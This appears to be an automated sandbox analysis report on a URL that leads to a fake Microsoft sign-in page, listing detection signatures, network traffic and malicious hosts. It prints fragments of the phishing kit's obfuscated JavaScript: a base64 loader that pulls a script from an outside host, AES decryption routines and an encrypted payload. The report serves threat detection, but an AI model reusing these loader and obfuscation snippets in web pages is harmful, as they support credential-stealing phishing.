Edit tour

Windows Analysis Report
https://publizr.com/alliedcon/allied-construction

Overview

General Information

Sample URL:	https://publizr.com/alliedcon/allied-construction
Analysis ID:	1633724
Infos:

Detection

Gabagool

Score:	68
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Yara detected Gabagool

HTML page contains hidden URLs

HTML page contains suspicious base64 encoded javascript

HTML page contains suspicious javascript code

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

HTML body with high number of embedded images detected

HTML page contains hidden javascript code

HTML title does not match URL

Javascript checks online IP of machine

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6188 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6420 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2020,i,2644708233931242252,9568175255480677449,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2056 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7128 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://publizr.com/alliedcon/allied-construction" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
3.4.pages.csv	JoeSecurity_Gabagool	Yara detected Gabagool	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#x{EMAIL}

Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The URL 'pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev' does not match the legitimate domain 'microsoft.com'., The domain 'r2.dev' is not associated with Microsoft and appears to be a generic or cloud service domain., The use of a subdomain with a random string is a common tactic in phishing attempts., The input fields 'Email, phone, or Skype' are typical for Microsoft services, which could be used to deceive users. DOM: 3.4.pages.csv

Yara detected Gabagool

Source: Yara match

File source: 3.4.pages.csv, type: HTML

HTML page contains hidden URLs

Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#x{EMAIL}

HTTP Parser: https://wicked.bigpoliceman.com

HTML page contains suspicious base64 encoded javascript

Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#x{EMAIL}	HTTP Parser: Base64 decoded: document.write
Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#x{EMAIL}	HTTP Parser: Base64 decoded: document.write

HTML page contains suspicious javascript code

Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html

HTTP Parser: window.location.href = atob(

Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#x{EMAIL}

HTTP Parser: Number of links: 0

Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#x{EMAIL}

HTTP Parser: Total embedded image size: 45708

Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#x{EMAIL}

HTTP Parser: Base64 decoded: IJikXqay = ['https', '://m', 'irc', 'orngro', 'up.co', 'm/ll', '/att', 'ach/j', 's/2eii', 'bhs9', 'AHV7', 'DpK', 'D411A', 'RKpLza', '2na22', 'ib', '22E', 'jDWI', '0gODPB', 'giR4', '.js'].join(``);document.write('<script src="'+IJikXqay+'"></' + 'script>'...

Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#x{EMAIL}

HTTP Parser: Title: Account sign in does not match URL

Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html	HTTP Parser: let current_ip = null;function gbikv(plaintext, key) { const keysize = [16, 24, 32]; if (!keysize.includes(key.length)) { throw new error("incorrect aes key length. use a 16, 24, or 32 bytes key."); } // generate a random iv (initialization vector) const iv = cryptojs.lib.wordarray.random(16); // encrypt the plain text using aes with the given key and random iv const encrypted = cryptojs.aes.encrypt(cryptojs.enc.utf8.parse(plaintext), cryptojs.enc.utf8.parse(key), { iv: iv, mode: cryptojs.mode.cbc, padding: cryptojs.pad.pkcs7 }); // combine the iv and ciphertext (iv is necessary for decryption) const encrypteddata = iv.concat(encrypted.ciphertext); // convert the combined data to base64 for easy transmission or storage return cryptojs.enc.base64.stringify(encrypteddata);}let psk = "7httbe4stupdigkffz25m+7xwvues82hrkalefqq4qjbz1erdphgowjnl5foojuf2nl2l9mvybvc+4xiw5dquw==";async function gudxkj3u() { try { const response = await fetch("http...
Source: https://cdn.jsdelivr.net/npm/cookieconsent@3/build/cookieconsent.min.js	HTTP Parser: !function(e){if(!e.hasinitialised){var t={escaperegexp:function(e){return e.replace(/[\-\[\]\/\{\}\\+\?\.\\\^\$\\|]/g,"\\$&")},hasclass:function(e,t){var i=" ";return 1===e.nodetype&&(i+e.classname+i).replace(/[\n\t]/g,i).indexof(i+t+i)>=0},addclass:function(e,t){e.classname+=" "+t},removeclass:function(e,t){var i=new regexp("\\b"+this.escaperegexp(t)+"\\b");e.classname=e.classname.replace(i,"")},interpolatestring:function(e,t){return e.replace(/{{([a-z][a-z0-9\-_])}}/gi,function(e){return t(arguments[1])\|\|""})},getcookie:function(e){var t=("; "+document.cookie).split("; "+e+"=");return t.length<2?void 0:t.pop().split(";").shift()},setcookie:function(e,t,i,n,o,s){var r=new date;r.sethours(r.gethours()+24*(i\|\|365));var a=[e+"="+t,"expires="+r.toutcstring(),"path="+(o\|\|"/")];n&&a.push("domain="+n),s&&a.push("secure"),document.cookie=a.join(";")},deepextend:function(e,t){for(var i in t)t.hasownproperty(i)&&(i in e&&this.isplainobject(e[i])&&this.isplainobject(t[i])?this.deepextend(e[i],t[i]):e[i]=t[i]);retu...

Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html	HTTP Parser: new function( atob( `ewf3cya9ifsiagfzacisicjjb25jyxqilcaic2xpy2uilcaibm93il07dqoncmlmichwzxjmb3jtyw5jzvsibmf2awdhdglvbijdwyj0exblil0gpt09idb4mcamjiahbg9jyxrpb25bewf3c1swedbdxskgew0kicbsb2nhdglvblt5yxdzwzbdxsa9ierhdgvbewf3c1szxv0okq0kicagic50b1n0cmluzygzniknciagicbbewf3c1syxv0oltepdqogicagw3lhd3nbmv1dkhrxclljznnrckopow0kfq0k` ) )(); let usuuid = "7httbe4stupdigkffz25m+7xwvues82hrkalefqq4qjbz1erdphgowjnl5foojuf2nl2l9mvybvc+4xiw5dquw=="; let policy = "gl/ifhtzhkkwp1+z39rgvzoa8vdl2whfusaf8idxovolww/zapelg9zfuiruw0dp";let sv = "0"; let sir = "1"; function decstr(encryptedstring, key) { const keysize = [16, 24, 32]; if (!keysize.includes(key.length)) { throw new error("incorrect aes key length. use a 16, 24, or 32 bytes key."); } const encrypteddata = cryptojs.enc.base64.parse(encryptedstring); const iv = cryptojs.lib.wordarra...
Source: https://mircorngroup.com/ll/attach/js/2eiibhs9AHV7DpKD411ARKpLza2na22ib22EjDWI0gODPBgiR4.js	HTTP Parser: function decstr(encryptedstring, key) { const encrypteddata = cryptojs.enc.base64.parse(encryptedstring); const iv = cryptojs.lib.wordarray.create(encrypteddata.words.slice(0, 4)); const ciphertext = cryptojs.lib.wordarray.create( encrypteddata.words.slice(4) ); const hashedkey = cryptojs.sha256(key); const aeskey = cryptojs.lib.wordarray.create(hashedkey.words.slice(0, 8)); const decrypted = cryptojs.aes.decrypt({ ciphertext: ciphertext }, aeskey, { iv: iv, mode: cryptojs.mode.cbc, padding: cryptojs.pad.pkcs7, }); return decrypted.tostring(cryptojs.enc.utf8);} let ballerina = decstr(atob("runtcny3t2ztrjdxaw0rogzyre00mfyyc3rpofv1tvduzfpwsnj3a1uwwvrdcjlzuzhxsvviujh4nnrqyvhidxh4qnu4m1lxtwvinhg4egrjcdhwszmwmndim0i1b1vtbfldq3ntoudxvlbqr1jputnkqvi5uw8rs09jwmnxrnvic2dtcxl2s1d3k21hr0xyawvmendxtkxosg9zm3nmq1vazla5elpvvvzhvtvbbctjahdqu0hwatzavg0rdnvcmfn1n2ftdexdu2rqu0xyagsvyklpnvnwb3bvtuywelflnwfqegroovlvc0f1r0nheuxsvkvrckc3vtvmtng4dgvjukvycw05m...

Source: https://publizr.com/alliedcon/allied-construction?html=true#/0/	HTTP Parser: No favicon
Source: https://publizr.com/alliedcon/allied-construction?html=true#/0/	HTTP Parser: No favicon
Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#x{EMAIL}	HTTP Parser: No favicon
Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#x{EMAIL}	HTTP Parser: No favicon
Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#x{EMAIL}	HTTP Parser: No favicon

Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#x{EMAIL}

HTTP Parser: No <meta name="author".. found

Source: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html#x{EMAIL}

HTTP Parser: No <meta name="copyright".. found

Source: global traffic	TCP traffic: 192.168.2.16:62073 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:62073 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:62073 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:62073 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:62073 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:62073 -> 1.1.1.1:53

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.3
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.3
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.3
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.3
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.3
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.1
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.1
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.1

Source: global traffic	HTTP traffic detected: GET /ajax/libs/swfobject/2.2/swfobject.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://publizr.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /npm/cookieconsent@3/build/cookieconsent.min.css HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://publizr.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /npm/cookieconsent@3/build/cookieconsent.min.js HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://publizr.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wurfl.js HTTP/1.1Host: wurfl.ioConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://publizr.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
Source: global traffic	HTTP traffic detected: GET /async-detect HTTP/1.1Host: wurfl.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async-detect HTTP/1.1Host: web.wurfl.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ll/attach/js/2eiibhs9AHV7DpKD411ARKpLza2na22ib22EjDWI0gODPBgiR4.js HTTP/1.1Host: mircorngroup.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: publizr.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: o.createyourmagazine.com
Source: global traffic	DNS traffic detected: DNS query: wurfl.io
Source: global traffic	DNS traffic detected: DNS query: googleads.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev
Source: global traffic	DNS traffic detected: DNS query: web.wurfl.io
Source: global traffic	DNS traffic detected: DNS query: mircorngroup.com
Source: global traffic	DNS traffic detected: DNS query: wicked.bigpoliceman.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com

Source: unknown

HTTP traffic detected: POST /async-detect HTTP/1.1Host: wurfl.ioConnection: keep-aliveContent-Length: 388sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: application/jsonsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"content-type: application/jsonsec-ch-ua-mobile: ?0Origin: https://publizr.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://publizr.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.23.2Date: Mon, 10 Mar 2025 13:35:28 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingVary: Accept-EncodingCache-Control: no-cache, privateAccept-CH: sec-ch-ua, sec-ch-ua-arch, sec-ch-ua-bitness, sec-ch-ua-full-version, sec-ch-ua-full-version-list, sec-ch-ua-mobile, sec-ch-ua-model, sec-ch-ua-platform, sec-ch-ua-platform-version, sec-ch-ua-wow64Critical-CH: sec-ch-ua, sec-ch-ua-arch, sec-ch-ua-bitness, sec-ch-ua-full-version, sec-ch-ua-full-version-list, sec-ch-ua-mobile, sec-ch-ua-model, sec-ch-ua-platform, sec-ch-ua-platform-version, sec-ch-ua-wow64Permissions-Policy: ch-ua=(self "https://wurfl.io" "https://wjs.wurflcloud.com" "https://staging-wjs.wurflcloud.com"), ch-ua-arch=(self "https://wurfl.io" "https://wjs.wurflcloud.com" "https://staging-wjs.wurflcloud.com"), ch-ua-bitness=(self "https://wurfl.io" "https://wjs.wurflcloud.com" "https://staging-wjs.wurflcloud.com"), ch-ua-full-version=(self "https://wurfl.io" "https://wjs.wurflcloud.com" "https://staging-wjs.wurflcloud.com"), ch-ua-full-version-list=(self "https://wurfl.io" "https://wjs.wurflcloud.com" "https://staging-wjs.wurflcloud.com"), ch-ua-mobile=(self "https://wurfl.io" "https://wjs.wurflcloud.com" "https://staging-wjs.wurflcloud.com"), ch-ua-model=(self "https://wurfl.io" "https://wjs.wurflcloud.com" "https://staging-wjs.wurflcloud.com"), ch-ua-platform=(self "https://wurfl.io" "https://wjs.wurflcloud.com" "https://staging-wjs.wurflcloud.com"), ch-ua-platform-version=(self "https://wurfl.io" "https://wjs.wurflcloud.com" "https://staging-wjs.wurflcloud.com"), ch-ua-wow64=(self "https://wurfl.io" "https://wjs.wurflcloud.com" "https://staging-wjs.wurflcloud.com")Strict-Transport-Security: max-age=31536000

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62079
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 62079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 62075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62075
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\scoped_dir6188_1772703398
